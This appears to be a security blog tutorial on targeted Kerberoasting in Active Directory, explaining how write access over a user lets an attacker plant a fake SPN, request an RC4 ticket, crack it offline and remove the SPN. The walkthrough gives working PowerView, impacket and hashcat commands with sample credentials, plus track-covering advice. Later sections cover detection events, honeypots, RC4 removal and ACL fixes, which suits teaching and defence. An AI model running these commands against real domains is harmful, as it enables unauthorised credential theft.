Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Classic Kerberoasting is opportunistic: it can only touch accounts that already carry a servicePrincipalName (SPN), because a service ticket (TGS) is only issued for a named service, and the reply is encrypted with the NT hash of the account that owns that SPN. That normally limits the attacker to a handful of genuine service accounts. Targeted Kerberoasting removes the limit. If you hold a write primitive over a user object — GenericAll, GenericWrite, WriteProperty on the SPN attribute, or WriteDacl that lets you grant yourself one — you can *write* an SPN onto any account you choose, roast it, then delete the SPN to cover your tracks. Any user with a weak password becomes roastable on demand.
This matters because SPN write access is far more common than people expect. It falls out of nested group membership, sloppy delegated OU permissions, help-desk groups with write over user objects, and stale ACEs left by provisioning scripts. BloodHound surfaces these edges as GenericWrite / GenericAll / WriteSPN, and each one is a path to offline password cracking of the target. Because the crack happens offline, there is no lockout risk and no failed-logon noise on the target account.
Attack Prerequisites
Targeted Kerberoasting needs a write primitive over the victim and nothing more exotic than a normal domain foothold:
- Any valid domain credential (user or computer account). Requesting a TGS is a normal Kerberos operation available to every authenticated principal — there is no special privilege to *roast*.
- A write primitive over the target user that reaches the
servicePrincipalNameattribute:GenericAll,GenericWrite,WritePropertyon the SPN, orWriteDacl/WriteOwner(which let you grant yourself the above). - A target with a weak or reused password. Roasting yields an offline hash; it only pays off if the password is crackable. Machine accounts and gMSAs (128-character random passwords) are effectively immune.
- Network access to a KDC (a Domain Controller on TCP/UDP 88) to request the service ticket.
How It Works
When a client wants to use a Kerberos service it sends a TGS-REQ to the KDC naming the target service by its SPN. The KDC locates the account that owns that SPN, builds a service ticket, and encrypts the ticket — including the portion the attacker cares about — with a key derived from that account’s password. The KDC does not check whether the requester is actually allowed to talk to the service; issuing the ticket is authorization enough. So any authenticated user can ask for a ticket to any SPN and receive material encrypted under the service account’s long-term key.
The crackable weakness is the encryption type. If the ticket is issued with RC4-HMAC (etype 23, 0x17), the key is the account’s straight NT hash (MD4 of the UTF-16 password) with no salt and no iteration — perfect for high-speed offline guessing. An attacker who can influence the request will ask for RC4 specifically, an “encryption downgrade,” even in domains that otherwise prefer AES. AES tickets (etypes 17/18) are still crackable but the PBKDF2-based key derivation makes them orders of magnitude slower.
The targeted twist is simply that the servicePrincipalName attribute is *writable*. AD imposes no requirement that an SPN correspond to a real, running service — it is just a multi-valued string. Write any syntactically valid value (fake/anything) onto the victim and the KDC will now happily mint RC4 service tickets for it, encrypted under the victim’s password. Roast it, crack it offline, then remove the SPN so the account looks untouched.
Vulnerable Configuration
The bug is not a code flaw but an ACL: an access control entry that grants a low-privileged principal write over a user object. Enumerated with PowerView, an abusable ACE looks like this — note the GenericWrite right and that the trustee is an ordinary account, not an admin:
PS> Get-DomainObjectAcl -Identity svc_backup -ResolveGUIDs |
? { $_.ActiveDirectoryRights -match 'GenericWrite|GenericAll|WriteProperty' }
AceType : AccessAllowed
ObjectDN : CN=svc_backup,OU=Service,DC=corp,DC=local
ActiveDirectoryRights : GenericWrite
ObjectAceType : None # None = ALL properties, incl. SPN
SecurityIdentifier : S-1-5-21-...-1142 # -> CORP\jdoe (a normal user)
AceFlags : ContainedObjectInheritsAce
TEXTA more surgical grant is a WriteProperty ACE scoped to exactly the servicePrincipalName property set. Its ObjectAceType GUID is f3a64788-5306-11d1-a9c5-0000f80367c1 (the Service-Principal-Name attribute). Either way, the KDC does not consult this ACL when issuing tickets — the ACL only governs whether you can *plant* the SPN in the first place:
ActiveDirectoryRights : WriteProperty
ObjectAceType : f3a64788-5306-11d1-a9c5-0000f80367c1 # Service-Principal-Name
SecurityIdentifier : S-1-5-21-...-1142 # attacker-controlled
TEXTThe corresponding SYSVOL/registry hardening (“only allow AES”) is frequently absent: when the domain functional level and account msDS-SupportedEncryptionTypes still permit RC4, an attacker can force the fast-cracking etype 23 ticket regardless of the domain’s stated preference.
Walkthrough / Exploitation
First, confirm the write edge. In BloodHound this is a GenericWrite, GenericAll, or WriteSPN edge from a principal you control to the target user. From PowerView you can verify and then set the SPN manually:
# Plant a bogus SPN on the target we have GenericWrite over
Set-DomainObject -Identity svc_backup -Set @{serviceprincipalname='fake/roast1'} -Verbose
# Confirm it stuck
Get-DomainUser -Identity svc_backup -Properties serviceprincipalnamePowerShellNow request the ticket for that SPN and pull the roastable hash. Impacket’s GetUserSPNs.py will request the TGS and print it in hashcat format; -request-user targets a single account:
GetUserSPNs.py corp.local/jdoe:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-request-user svc_backup -outputfile roast.hashBashThe cleanest approach is to let impacket do the whole set/roast/clear dance atomically. targetedKerberoast.py iterates every account you can write to, adds a temporary SPN, requests an RC4 ticket, and removes the SPN again — leaving the directory as it found it:
# Auto-discovers writable users, roasts each, then removes the SPN it added
python3 targetedKerberoast.py -v -d corp.local -u jdoe -p 'P@ssw0rd!' \
--dc-host dc01.corp.local -o roast.hashBashCrack the RC4 TGS-REP hash offline. Hashcat mode 13100 is Kerberos 5 TGS-REP with etype 23 (RC4):
hashcat -m 13100 roast.hash /usr/share/wordlists/rockyou.txt -r best64.rule
# (AES TGS-REP tickets crack under -m 19600 for etype 17 / -m 19700 for etype 18)BashFinally, if you set the SPN by hand, remove it so the account returns to its original state:
Set-DomainObject -Identity svc_backup -Clear serviceprincipalname -VerbosePowerShellNote: A duplicate SPN will make the KDC refuse to issue tickets, so pick a unique fake value —
targetedKerberoast.pygenerates a random one to avoid collisions. If the account already legitimately owns SPNs, do NOT clear the whole attribute (that breaks the real service); add your value, roast, then remove only the value you added.
Opsec: Adding then removing an SPN generates two directory modifications on the target’s
servicePrincipalNameattribute (Event ID 5136 where SACL auditing is on) plus a TGS request (Event 4769) with encryption type 0x17. That 5136-then-4769-then-5136 sequence on a single account inside a few seconds is a strong, cheap detection. Where AES is available, requesting RC4 is itself anomalous.
Detection and Defense
The two observable halves — the SPN write and the RC4 roast — each give defenders a signal, and both are cheap to alert on:
- Event ID 4769 (Kerberos service ticket requested) with Ticket Encryption Type 0x17 (RC4) and a
Ticket Optionsvalue typical of roasting. Baseline which accounts legitimately request RC4; alert on the rest, especially bursts to many SPNs from one user. - Event ID 5136 (directory service object modified) on the
servicePrincipalNameattribute, particularly an add quickly followed by a delete on the same object — the signature of targeted roasting. Requires object-level SACL auditing. - Honeypot / decoy accounts with a tempting SPN and a long random password: any TGS request for them is high-fidelity malicious.
- Disable RC4 for Kerberos (enforce AES via
msDS-SupportedEncryptionTypesand Group Policy) so downgraded, fast-cracking tickets cannot be requested. - Fix the ACLs. Remove non-administrative
GenericWrite/GenericAll/WriteDaclover user objects, and give real service accounts long random passwords or migrate them to gMSAs, which are immune to cracking.
Real-World Impact
Kerberoasting has been a staple of AD compromise since Tim Medin introduced it in 2014, and the targeted variant is now routine on internal engagements because delegated write access over user objects is endemic in large directories. It is prized by operators precisely because it is quiet and offline: no target lockouts, no interactive logons, and the crack runs on the attacker’s own hardware. BloodHound’s GenericWrite/GenericAll edges turn what used to be a manual ACL hunt into a one-click path from a help-desk account to a cracked service credential.
Conclusion
Targeted Kerberoasting collapses two very common conditions — a writable SPN attribute and a weak account password — into domain-relevant credential theft. The defensive story is equally two-sided: tighten the ACLs so arbitrary users cannot write SPNs, and remove RC4 and weak service-account passwords so that even a planted SPN yields nothing crackable. gMSAs and AES enforcement close the technique almost entirely; until then, watch for the SPN-write-then-RC4-roast sequence, because it is both distinctive and loud.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments